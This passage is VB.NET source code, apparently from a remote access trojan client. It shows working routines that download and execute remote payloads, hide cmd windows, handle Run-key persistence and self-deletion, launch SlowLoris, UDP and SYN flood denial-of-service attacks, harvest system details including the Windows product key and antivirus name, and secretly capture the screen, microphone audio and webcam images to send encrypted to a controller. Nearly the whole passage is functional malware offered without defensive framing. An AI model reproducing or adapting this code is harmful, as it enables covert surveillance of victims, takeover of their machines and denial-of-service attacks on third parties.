574 | p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
575 | ||
576 | Dim pp As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
577 | pp.Arguments = "/C ping 1.1.1.1 -n 1 -w 5 > Nul & " & ControlChars.Quote & My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\updated.exe" & ControlChars.Quote | |
578 | pp.CreateNoWindow = True | |
579 | pp.ErrorDialog = False | |
580 | pp.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
581 | ||
582 | System.Diagnostics.Process.Start(p) | |
583 | System.Diagnostics.Process.Start(pp) | |
584 | ||
585 | Application.Exit() | |
586 | Catch | |
587 | End Try | |
588 | End Sub | |
589 | Sub ExecutefromLink(ByVal url As String) | |
590 | Try | |
591 | My.Computer.Network.DownloadFile(url, My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe") | |
592 | Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe") | |
593 | Catch | |
594 | End Try | |
595 | End Sub | |
596 | Sub ExecutefromFile(ByVal txt As String) | |
597 | Try | |
598 | File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe", Convert.FromBase64String(txt)) | |
599 | Shell(My.Computer.FileSystem.SpecialDirectories.Temp.ToString() & "\exec.exe") | |
600 | Catch | |
601 | End Try | |
602 | End Sub | |
603 | Sub rstart() | |
604 | Try | |
605 | Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
606 | p.Arguments = "/C ping 1.1.1.1 -n 1 -w 15 > Nul & " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote | |
607 | p.CreateNoWindow = True | |
608 | p.ErrorDialog = False | |
609 | p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
610 | System.Diagnostics.Process.Start(p) | |
611 | Application.Exit() | |
612 | Catch | |
613 | End Try | |
614 | End Sub | |
615 | Sub delete(ByVal timeout As Integer) | |
616 | Try | |
617 | SetAttr(Application.ExecutablePath, FileAttribute.Normal) | |
618 | Dim p As New System.Diagnostics.ProcessStartInfo("cmd.exe") | |
619 | p.Arguments = "/C ping 1.1.1.1 -n 1 -w " & timeout & " > Nul & Del " & ControlChars.Quote & Application.ExecutablePath & ControlChars.Quote | |
620 | p.CreateNoWindow = True | |
621 | p.ErrorDialog = False | |
622 | p.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden | |
623 | ||
624 | If startuplocal = True then | |
625 | Dim regkey As RegistryKey | |
626 | regkey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) | |
627 | If regpersistence = True Then | |
628 | reg.RemoveWatcher(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", "")) | |
629 | End If | |
630 | regkey.DeleteValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", "")) | |
631 | End If | |
632 | ||
633 | If startupuser = True then | |
634 | Dim regkey As RegistryKey | |
635 | regkey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) | |
636 | regkey.DeleteValue(New IO.FileInfo(Application.ExecutablePath).Name.Replace(".exe", "")) | |
637 | End if | |
638 | ||
639 | System.Diagnostics.Process.Start(p) | |
640 | Application.Exit() | |
641 | Catch ex As Exception | |
642 | MsgBox(ex.Message) | |
643 | End Try | |
644 | End Sub | |
645 | Sub removefromstartup(ByVal txt As String) | |
646 | Try | |
647 | If txt.StartsWith("C") Then | |
648 | IO.File.Delete(txt.Replace("|", "")) | |
649 | ElseIf txt.StartsWith("HKEY_CURRENT_USER") Then | |
650 | txt = txt.Replace(txt.Split("\")(0) & "\", "") | |
651 | Dim name As String = txt.Split("|")(1) | |
652 | txt = txt.Replace("\|" & txt.Split("|")(1), "") | |
653 | Dim regkey As RegistryKey = Registry.CurrentUser.OpenSubKey(txt, True) | |
654 | regkey.DeleteValue(name) | |
655 | regkey.Close() | |
656 | ElseIf txt.StartsWith("HKEY_LOCAL_MACHINE") Then | |
657 | txt = txt.Replace(txt.Split("\")(0) & "\", "") | |
658 | Dim name As String = txt.Split("|")(1) | |
659 | txt = txt.Replace("\|" & txt.Split("|")(1), "") | |
660 | Dim regkey As RegistryKey = Registry.LocalMachine.OpenSubKey(txt, True) | |
661 | regkey.DeleteValue(name) | |
662 | regkey.Close() | |
663 | End If | |
664 | Catch | |
665 | End Try | |
666 | End Sub | |
667 | Sub UploadFile(ByVal txt As String) | |
668 | Try | |
669 | 'MsgBox(txt.Split("|")(0)) | |
670 | 'IO.File.WriteAllBytes(txt.Split("|")(0), Convert.FromBase64String(txt.Replace(txt.Split("|")(0) & "|", ""))) | |
671 | Catch | |
672 | End Try | |
673 | End Sub | |
674 | Sub StartSlowLoris(ByVal params As String) | |
675 | Try | |
676 | sl.Target = params.Split("|")(0) | |
677 | sl.AOSockets = params.Split("|")(1) | |
678 | sl.AOThreads = params.Split("|")(2) | |
679 | sl.Start() | |
680 | Catch | |
681 | End Try | |
682 | End Sub | |
683 | Sub StartUDP(ByVal params As String) | |
684 | Try | |
685 | If UDPFlood.FloodRunning = True Then | |
686 | Exit Sub | |
687 | Else | |
688 | UDPFlood.Host = params.Split("|")(0) | |
689 | UDPFlood.Port = params.Split("|")(1) | |
690 | UDPFlood.Threads = params.Split("|")(2) | |
691 | UDPFlood.StartUDPFlood() | |
692 | End If | |
693 | Catch | |
694 | End Try | |
695 | End Sub | |
696 | Sub StartSYN(ByVal params As String) | |
697 | Try | |
698 | If SynFlood.IsRunning = True Then | |
699 | Exit Sub | |
700 | Else | |
701 | SynFlood.Host = params.Split("|")(0) | |
702 | SynFlood.Port = params.Split("|")(1) | |
703 | SynFlood.SynSockets = params.Split("|")(2) | |
704 | SynFlood.Threads = params.Split("|")(3) | |
705 | SynFlood.StartSynFlood() | |
706 | End If | |
707 | Catch | |
708 | End Try | |
709 | End Sub | |
710 | Public Function HideTaskBar() As Boolean | |
711 | Try | |
712 | Dim lRet As Long | |
713 | lRet = FindWindow("Shell_traywnd", "") | |
714 | If lRet > 0 Then | |
715 | lRet = SetWindowPos(lRet, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) | |
716 | HideTaskBar = lRet > 0 | |
717 | End If | |
718 | Return True | |
719 | Catch | |
720 | Return False | |
721 | End Try | |
722 | End Function | |
723 | Public Function ShowTaskBar() As Boolean | |
724 | Try | |
725 | Dim lRet As Long | |
726 | lRet = FindWindow("Shell_traywnd", "") | |
727 | If lRet > 0 Then | |
728 | lRet = SetWindowPos(lRet, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) | |
729 | ShowTaskBar = lRet > 0 | |
730 | End If | |
731 | Return True | |
732 | Catch | |
733 | Return False | |
734 | End Try | |
735 | End Function | |
736 | #End Region | |
737 | #Region "Information Gathering" | |
738 | #Region "Get Country" | |
739 | <DllImport("kernel32.dll")> _ | |
740 | Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal lpLCData As System.Text.StringBuilder, ByVal cchData As Integer) As Integer | |
741 | End Function | |
742 | ||
743 | Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400 | |
744 | Private Const LOCALE_SENGCOUNTRY As UInteger = &H1002 | |
745 | ||
746 | Private Shared Function GetInfo() As String | |
747 | Dim lpLCData As Object = New System.Text.StringBuilder(256) | |
748 | Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, lpLCData, lpLCData.Capacity) | |
749 | If ret > 0 Then | |
750 | Dim s As String = lpLCData.ToString().Substring(0, ret - 1) | |
751 | Return UCase(s.Substring(0, 3)) | |
752 | End If | |
753 | Return String.Empty | |
754 | End Function | |
755 | #End Region | |
756 | Public Function getpriv() As String | |
757 | Try | |
758 | My.User.InitializeWithWindowsUser() | |
759 | ||
760 | If My.User.IsAuthenticated() Then | |
761 | If My.User.IsInRole(ApplicationServices.BuiltInRole.Administrator) Then | |
762 | Return "Admin" | |
763 | ElseIf My.User.IsInRole(ApplicationServices.BuiltInRole.User) Then | |
764 | Return "User" | |
765 | ElseIf My.User.IsInRole(ApplicationServices.BuiltInRole.Guest) Then | |
766 | Return "Guest" | |
767 | Else | |
768 | Return "Unknown" | |
769 | End If | |
770 | End If | |
771 | Return "Unknown" | |
772 | Catch | |
773 | Return "Unknown" | |
774 | End Try | |
775 | End Function | |
776 | Sub sendprocess() | |
777 | Dim p As New System.Diagnostics.Process() | |
778 | Dim count As Integer = 0 | |
779 | Dim Listview1 As New ListView | |
780 | For Each p In System.Diagnostics.Process.GetProcesses(My.Computer.Name) | |
781 | On Error Resume Next | |
782 | Listview1.Items.Add(p.ProcessName & ".exe") | |
783 | Listview1.Items(count).SubItems.Add(FormatNumber(Math.Round(p.PrivateMemorySize64 / 1024), 0) & " K") | |
784 | Listview1.Items(count).SubItems.Add(p.Responding) | |
785 | Listview1.Items(count).SubItems.Add(p.StartTime.ToString().Trim) | |
786 | Listview1.Items(count).SubItems.Add(p.Id) | |
787 | count += 1 | |
788 | Next | |
789 | ||
790 | Dim Items As String = "" | |
791 | For Each item As ListViewItem In Listview1.Items | |
792 | Items = Items & item.Text & "|" & item.SubItems(1).Text & "|" & item.SubItems(2).Text & "|" & item.SubItems(3).Text & "|" & item.SubItems(4).Text & vbNewLine | |
793 | Next | |
794 | Items = Items.Trim | |
795 | ||
796 | Send(AES_Encrypt("GetProcess" & Items, enckey)) | |
797 | End Sub | |
798 | Sub getinstalledsoftware() | |
799 | Try | |
800 | ||
801 | Dim regkey, subkey As Microsoft.Win32.RegistryKey | |
802 | Dim value As String | |
803 | Dim regpath As String = "Software\Microsoft\Windows\CurrentVersion\Uninstall" | |
804 | Dim software As String = String.Empty | |
805 | Dim softwarecount As Integer | |
806 | ||
807 | regkey = My.Computer.Registry.LocalMachine.OpenSubKey(regpath) | |
808 | Dim subkeys() As String = regkey.GetSubKeyNames | |
809 | Dim includes As Boolean | |
810 | For Each subk As String In subkeys | |
811 | subkey = regkey.OpenSubKey(subk) | |
812 | value = subkey.GetValue("DisplayName", "") | |
813 | If value <> "" Then | |
814 | includes = True | |
815 | If value.IndexOf("Hotfix") <> -1 Then includes = False | |
816 | If value.IndexOf("Security Update") <> -1 Then includes = False | |
817 | If value.IndexOf("Update for") <> -1 Then includes = False | |
818 | If includes = True Then | |
819 | software += value & "|" & vbCrLf | |
820 | softwarecount += 1 | |
821 | End If | |
822 | End If | |
823 | Next | |
824 | ||
825 | Dim final As String = "Software|" & softwarecount & "|" & software | |
826 | Send(AES_Encrypt(final, enckey)) | |
827 | Catch | |
828 | End Try | |
829 | End Sub | |
830 | #Region "System Information" | |
831 | Function getsystem() As String | |
832 | Try | |
833 | Return SystemInformation.ComputerName.ToString() & "|" & _ | |
834 | SystemInformation.UserName.ToString() & "|" & _ | |
835 | SystemInformation.VirtualScreen.Width & "|" & _ | |
836 | SystemInformation.VirtualScreen.Height & "|" & _ | |
837 | FormatNumber(My.Computer.Info.AvailablePhysicalMemory / 1024 / 1024 / 1024, 2) & " GB|" & _ | |
838 | FormatNumber(My.Computer.Info.AvailableVirtualMemory / 1024 / 1024 / 1024, 2) & " GB|" & _ | |
839 | My.Computer.Info.OSFullName & "|" & _ | |
840 | My.Computer.Info.OSPlatform & "|" & _ | |
841 | My.Computer.Info.OSVersion & "|" & _ | |
842 | FormatNumber(My.Computer.Info.TotalPhysicalMemory / 1024 / 1024 / 1024, 2) & " GB|" & _ | |
843 | FormatNumber(My.Computer.Info.TotalVirtualMemory / 1024 / 1024 / 1024, 2) & " GB|" & _ | |
844 | SystemInformation.PowerStatus.BatteryChargeStatus.ToString() & "|" & _ | |
845 | SystemInformation.PowerStatus.BatteryFullLifetime.ToString() & "|" & _ | |
846 | SystemInformation.PowerStatus.BatteryLifePercent.ToString() & "|" & _ | |
847 | SystemInformation.PowerStatus.BatteryLifeRemaining.ToString() & "|" & _ | |
848 | GetCPUInfo() & "|" & GetGPUName() & "|" & _ | |
849 | "(Started: " & StartUp() & ") & (Uptime: " & getUptime() & ")" | |
850 | Catch | |
851 | Return "N/A" | |
852 | End Try | |
853 | End Function | |
854 | Private Function StartUp() As String | |
855 | Try | |
856 | Dim StartDate As DateTime | |
857 | Dim envTicks As Long = Environment.TickCount | |
858 | Dim msToAdd As Long = envTicks - (envTicks * 2) | |
859 | StartDate = DateTime.Now.AddMilliseconds(msToAdd) | |
860 | Return StartDate.ToString | |
861 | Catch | |
862 | Return Nothing | |
863 | End Try | |
864 | End Function | |
865 | Public Function getUptime() As String | |
866 | Try | |
867 | Dim time As String = String.Empty | |
868 | time += Math.Round(Environment.TickCount / 86400000) & " days, " | |
869 | time += Math.Round(Environment.TickCount / 3600000 Mod 24) & " hours, " | |
870 | time += Math.Round(Environment.TickCount / 120000 Mod 60) & " minutes, " | |
871 | time += Math.Round(Environment.TickCount / 1000 Mod 60) & " seconds." | |
872 | Return time | |
873 | Catch | |
874 | Return Nothing | |
875 | End Try | |
876 | End Function | |
877 | Private Function GetCPUInfo() As String | |
878 | Try | |
879 | Dim cpuName As String = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("HARDWARE\DESCRIPTION\System\CentralProcessor\0").GetValue("ProcessorNameString") | |
880 | Return cpuName.Replace(" ", " ").Replace(" ", " ") | |
881 | Catch | |
882 | Return Nothing | |
883 | End Try | |
884 | End Function | |
885 | Private Function GetGPUName() As String | |
886 | Dim GraphicsCardName As String = String.Empty | |
887 | Try | |
888 | Dim WmiSelect As New ManagementObjectSearcher _ | |
889 | ("root\CIMV2", "SELECT * FROM Win32_VideoController") | |
890 | For Each WmiResults As ManagementObject In WmiSelect.Get() | |
891 | GraphicsCardName = WmiResults.GetPropertyValue("Name").ToString | |
892 | If (Not String.IsNullOrEmpty(GraphicsCardName)) Then | |
893 | Exit For | |
894 | End If | |
895 | Next | |
896 | Catch err As ManagementException | |
897 | End Try | |
898 | Return GraphicsCardName | |
899 | End Function | |
900 | #End Region | |
901 | #Region "Deep Information" | |
902 | Function GetDeepInfo() As String | |
903 | Try | |
904 | Dim devices As String = String.Empty | |
905 | ||
906 | Dim strName As String = Space(100) | |
907 | Dim strVer As String = Space(100) | |
908 | Dim bReturn As Boolean | |
909 | Dim x As Integer = 0 | |
910 | Do | |
911 | bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100) | |
912 | If bReturn Then devices += strName.Trim & "|" | |
913 | x += 1 | |
914 | Loop Until bReturn = False | |
915 | ||
916 | Dim res As String = String.Empty | |
917 | If devices <> "" Then | |
918 | res = "Yes" : Else : res = "No" | |
919 | End If | |
920 | ||
921 | Return "|" & My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "N/A") & "|" & _ | |
922 | My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "N/A") & "|" & _ | |
923 | My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Win8", "ProductKey", "N/A") & "|" & NetworkInterface.GetAllNetworkInterfaces()(0).GetPhysicalAddress().ToString & "|" & _ | |
924 | res & "|" & GetAV() & "|" & Application.ExecutablePath | |
925 | Catch | |
926 | Return "" | |
927 | End Try | |
928 | End Function | |
929 | Function GetAV() As String | |
930 | Dim wmiQuery As Object = "Select * From AntiVirusProduct" | |
931 | Dim objWMIService As Object = GetObject("winmgmts:\\.\root\SecurityCenter2") | |
932 | Dim colItems As Object = objWMIService.ExecQuery(wmiQuery) | |
933 | For Each objItem As Object In colItems | |
934 | On Error Resume Next | |
935 | Return objItem.displayName.ToString() | |
936 | Next | |
937 | Return Nothing | |
938 | End Function | |
939 | #End Region | |
940 | Function GetTCPConnections() As String | |
941 | Try | |
942 | Dim s As String = String.Empty | |
943 | ||
944 | Dim properties As IPGlobalProperties = IPGlobalProperties.GetIPGlobalProperties() | |
945 | Dim connections() As TcpConnectionInformation = properties.GetActiveTcpConnections() | |
946 | ||
947 | For Each c As TcpConnectionInformation In connections | |
948 | s += String.Format("{0}|{1}|{2}", c.LocalEndPoint, c.RemoteEndPoint, c.State) & vbCrLf | |
949 | Next | |
950 | ||
951 | Return s.Trim | |
952 | Catch | |
953 | Return Nothing | |
954 | End Try | |
955 | End Function | |
956 | Private Sub GetStartupEntries() | |
957 | Try | |
958 | Dim x As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) | |
959 | ||
960 | Dim dir As DirectoryInfo = New DirectoryInfo(x) | |
961 | Dim files() As FileInfo = dir.GetFiles | |
962 | ||
963 | Dim regkeys(3) As RegistryKey | |
964 | ||
965 | regkeys(0) = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run") | |
966 | regkeys(1) = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce") | |
967 | regkeys(2) = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run") | |
968 | regkeys(3) = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce") | |
969 | ||
970 | Dim result As String = String.Empty | |
971 | ||
972 | For Each File As FileInfo In files | |
973 | result += String.Format("{0}|{1}|{2}", x, File.Name, x & "\" & File.Name) & vbCrLf | |
974 | Next | |
975 | ||
976 | For i As Integer = 0 To 3 | |
977 | For Each valueName As String In regkeys(i).GetValueNames() | |
978 | result += String.Format("{0}|{1}|{2}", regkeys(i).ToString, valueName, regkeys(i).GetValue(valueName)) & vbCrLf | |
979 | Next | |
980 | Next | |
981 | ||
982 | result = result.Trim | |
983 | Send(AES_Encrypt("Strtp" & result, enckey)) | |
984 | Catch | |
985 | End Try | |
986 | End Sub | |
987 | Sub SendServices() | |
988 | Dim Listview1 As New ListView | |
989 | Dim scServices() As ServiceController = ServiceController.GetServices() | |
990 | ||
991 | For i As Integer = 0 To UBound(scServices) | |
992 | With ListView1.Items.Add(scServices(i).ServiceName) | |
993 | .SubItems.Add(scServices(i).DisplayName) | |
994 | .SubItems.Add(scServices(i).ServiceType.ToString) | |
995 | .SubItems.Add(scServices(i).Status.ToString) | |
996 | End With | |
997 | Next | |
998 | ||
999 | Dim Items As String = "" | |
1000 | For Each item As ListViewItem In Listview1.Items | |
1001 | Items = Items & item.Text & "|" & item.SubItems(1).Text & "|" & item.SubItems(2).Text & "|" & item.SubItems(3).Text & vbNewLine | |
1002 | Next | |
1003 | Items = Items.Trim | |
1004 | ||
1005 | Send(AES_Encrypt("Services" & Items, enckey)) | |
1006 | End Sub | |
1007 | Sub PerformServiceAction(Byval number As Integer, Byval Action As String) | |
1008 | Try | |
1009 | Dim scServices() As ServiceController = ServiceController.GetServices() | |
1010 | Select Case Action | |
1011 | Case "Close" | |
1012 | scServices(number).Close() | |
1013 | Case "Continue" | |
1014 | scServices(number).Continue() | |
1015 | Case "Pause" | |
1016 | scServices(number).Pause() | |
1017 | Case "Start" | |
1018 | scServices(number).Start() | |
1019 | Case "Stop" | |
1020 | scServices(number).Stop() | |
1021 | End Select | |
1022 | Catch : End Try | |
1023 | End Sub | |
1024 | #End Region | |
1025 | #Region "Encryption" | |
1026 | Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String | |
1027 | Dim AES As New System.Security.Cryptography.RijndaelManaged | |
1028 | Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider | |
1029 | Dim encrypted As String = "" | |
1030 | Try | |
1031 | Dim hash(31) As Byte | |
1032 | Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) | |
1033 | Array.Copy(temp, 0, hash, 0, 16) | |
1034 | Array.Copy(temp, 0, hash, 15, 16) | |
1035 | AES.Key = hash | |
1036 | AES.Mode = System.Security.Cryptography.CipherMode.ECB | |
1037 | Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor | |
1038 | Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) | |
1039 | encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) | |
1040 | Return encrypted | |
1041 | Catch | |
1042 | Return Nothing | |
1043 | End Try | |
1044 | End Function | |
1045 | Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String | |
1046 | Dim AES As New System.Security.Cryptography.RijndaelManaged | |
1047 | Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider | |
1048 | Dim decrypted As String = "" | |
1049 | Try | |
1050 | Dim hash(31) As Byte | |
1051 | Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) | |
1052 | Array.Copy(temp, 0, hash, 0, 16) | |
1053 | Array.Copy(temp, 0, hash, 15, 16) | |
1054 | AES.Key = hash | |
1055 | AES.Mode = System.Security.Cryptography.CipherMode.ECB | |
1056 | Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor | |
1057 | Dim Buffer As Byte() = Convert.FromBase64String(input) | |
1058 | decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) | |
1059 | Return decrypted | |
1060 | Catch | |
1061 | Return Nothing | |
1062 | End Try | |
1063 | End Function | |
1064 | #End Region | |
1065 | #Region "Surveillance" | |
1066 | #Region "Remote Desktop" | |
1067 | Sub sendscreen() | |
1068 | Try | |
1069 | ||
1070 | Dim width As Integer = res.Split("x")(0) | |
1071 | Dim height As Integer = res.Split("x")(1) | |
1072 | ||
1073 | Dim b As New System.Drawing.Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height) | |
1074 | Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(b) | |
1075 | g.CopyFromScreen(0, 0, 0, 0, b.Size) | |
1076 | g.Dispose() | |
1077 | ||
1078 | Dim p, pp As New PictureBox | |
1079 | p.Image = b | |
1080 | Dim img As System.Drawing.Image = p.Image | |
1081 | pp.Image = img.GetThumbnailImage(width, height, Nothing, Nothing) | |
1082 | Dim img2 As System.Drawing.Image = pp.Image | |
1083 | ||
1084 | Dim bmp1 As New System.Drawing.Bitmap(img2) | |
1085 | Dim jgpEncoder As System.Drawing.Imaging.ImageCodecInfo = GetEncoder(System.Drawing.Imaging.ImageFormat.Jpeg) | |
1086 | Dim myEncoder As System.Drawing.Imaging.Encoder = System.Drawing.Imaging.Encoder.Quality | |
1087 | Dim myEncoderParameters As New System.Drawing.Imaging.EncoderParameters(1) | |
1088 | Dim myEncoderParameter As New System.Drawing.Imaging.EncoderParameter(myEncoder, comp) | |
1089 | myEncoderParameters.Param(0) = myEncoderParameter | |
1090 | bmp1.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\scr.jpg", jgpEncoder, myEncoderParameters) | |
1091 | Send(AES_Encrypt("RemoteDesktop" & Convert.ToBase64String(IO.File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\scr.jpg")), enckey)) | |
1092 | IO.File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\scr.jpg") | |
1093 | Catch | |
1094 | End Try | |
1095 | End Sub | |
1096 | Private Function GetEncoder(ByVal format As System.Drawing.Imaging.ImageFormat) As System.Drawing.Imaging.ImageCodecInfo | |
1097 | Try | |
1098 | Dim codecs As System.Drawing.Imaging.ImageCodecInfo() = System.Drawing.Imaging.ImageCodecInfo.GetImageDecoders() | |
1099 | Dim codec As System.Drawing.Imaging.ImageCodecInfo | |
1100 | For Each codec In codecs | |
1101 | If codec.FormatID = format.Guid Then | |
1102 | Return codec | |
1103 | End If | |
1104 | Next codec | |
1105 | Return Nothing | |
1106 | Catch | |
1107 | Return Nothing | |
1108 | End Try | |
1109 | End Function | |
1110 | #End Region | |
1111 | Sub MouseMov(ByVal txt As String) | |
1112 | Try | |
1113 | If txt.StartsWith("Left") Then | |
1114 | Dim x As Integer = txt.Replace("LeftSetCurPos", "").Split("x")(0) | |
1115 | Dim y As Integer = txt.Replace("LeftSetCurPos", "").Split("x")(1) | |
1116 | ||
1117 | SetCursorPos(x, y) | |
1118 | mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0) | |
1119 | mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0) | |
1120 | ElseIf txt.StartsWith("Right") Then | |
1121 | Dim x As Integer = txt.Replace("RightSetCurPos", "").Split("x")(0) | |
1122 | Dim y As Integer = txt.Replace("RightSetCurPos", "").Split("x")(1) | |
1123 | ||
1124 | SetCursorPos(x, y) | |
1125 | mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0) | |
1126 | mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0) | |
1127 | End If | |
1128 | Catch | |
1129 | End Try | |
1130 | End Sub | |
1131 | #Region "Audio" | |
1132 | Sub audio_start() | |
1133 | Try | |
1134 | Dim i As Integer | |
1135 | i = mciSendString("open new type waveaudio alias capture", Nothing, 0, 0) | |
1136 | i = mciSendString("record capture", Nothing, 0, 0) | |
1137 | Catch | |
1138 | End Try | |
1139 | End Sub | |
1140 | Sub audio_stop() | |
1141 | Try | |
1142 | Dim i As Integer | |
1143 | i = mciSendString("save capture " & My.Computer.FileSystem.SpecialDirectories.Temp.ToString & "\rec.wav", Nothing, 0, 0) | |
1144 | i = mciSendString("close capture", Nothing, 0, 0) | |
1145 | Catch | |
1146 | End Try | |
1147 | End Sub | |
1148 | Sub audio_get() | |
1149 | Try | |
1150 | Send(AES_Encrypt("RecordingFile" & SystemInformation.ComputerName & "|" & Convert.ToBase64String(File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav")), enckey)) | |
1151 | File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav") | |
1152 | Catch | |
1153 | End Try | |
1154 | End Sub | |
1155 | #End Region | |
1156 | #Region "Webcam" | |
1157 | Sub listdevices() | |
1158 | Try | |
1159 | Dim devices As String = String.Empty | |
1160 | ||
1161 | Dim strName As String = Space(100) | |
1162 | Dim strVer As String = Space(100) | |
1163 | Dim bReturn As Boolean | |
1164 | Dim x As Integer = 0 | |
1165 | Do | |
1166 | bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100) | |
1167 | If bReturn Then devices += strName.Trim & "|" | |
1168 | x += 1 | |
1169 | Loop Until bReturn = False | |
1170 | Send(AES_Encrypt("WebcamDevices" & devices, enckey)) | |
1171 | Catch | |
1172 | End Try | |
1173 | End Sub | |
1174 | Sub getwebcam() | |
1175 | Try | |
1176 | Dim iHeight As Integer = picCapture.Height | |
1177 | Dim iWidth As Integer = picCapture.Width | |
1178 | hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.Handle.ToInt32, 0) | |
1179 | ||
1180 | If SendWebcam(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then | |
1181 | SendWebcam(hHwnd, WM_CAP_SET_SCALE, True, 0) | |
1182 | SendWebcam(hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0) | |
1183 | SendWebcam(hHwnd, WM_CAP_SET_PREVIEW, True, 0) | |
1184 | SetWebcamPos(hHwnd, HWND_BOTTOM, 0, 0, picCapture.Width, picCapture.Height, SWP_NOMOVE Or SWP_NOZORDER) | |
1185 | ||
1186 | Dim data As IDataObject | |
1187 | Dim bmap As System.Drawing.Image | |
1188 | SendWebcam(hHwnd, WM_CAP_EDIT_COPY, 0, 0) | |
1189 | data = Clipboard.GetDataObject() | |
1190 | If data.GetDataPresent(GetType(System.Drawing.Bitmap)) Then | |
1191 | bmap = CType(data.GetData(GetType(System.Drawing.Bitmap)), System.Drawing.Image) | |
1192 | picCapture.Image = bmap | |
1193 | ||
1194 | SendWebcam(hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0) | |
1195 | ||
1196 | bmap.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\wcs.png", System.Drawing.Imaging.ImageFormat.Png) | |
1197 | Send(AES_Encrypt("WebcamSnap" & Convert.ToBase64String(IO.File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\wcs.png")), enckey)) | |
1198 | IO.File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\wcs.png") | |
1199 | End If | |
1200 | Else | |
1201 | DestroyWebcam(hHwnd) | |
1202 | End If | |
1203 | Catch | |
1204 | End Try | |
1205 | End Sub | |
1206 | #End Region | |
1207 | Sub SendThumbNail() | |
1208 | Try | |
1209 | ||
1210 | Dim b As New System.Drawing.Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height) | |
1211 | Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(b) | |
1212 | g.CopyFromScreen(0, 0, 0, 0, b.Size) | |
1213 | g.Dispose() | |
1214 | ||
1215 | Dim p, pp As New PictureBox | |
1216 | p.Image = b | |
1217 | Dim img As System.Drawing.Image = p.Image | |
1218 | pp.Image = img.GetThumbnailImage(242, 152, Nothing, Nothing) | |
1219 | Dim img2 As System.Drawing.Image = pp.Image | |
1220 | ||
1221 | Dim bmp1 As New System.Drawing.Bitmap(img2) | |
1222 | Dim jgpEncoder As System.Drawing.Imaging.ImageCodecInfo = GetEncoder(System.Drawing.Imaging.ImageFormat.Jpeg) | |
1223 | Dim myEncoder As System.Drawing.Imaging.Encoder = System.Drawing.Imaging.Encoder.Quality | |
1224 | Dim myEncoderParameters As New System.Drawing.Imaging.EncoderParameters(1) | |
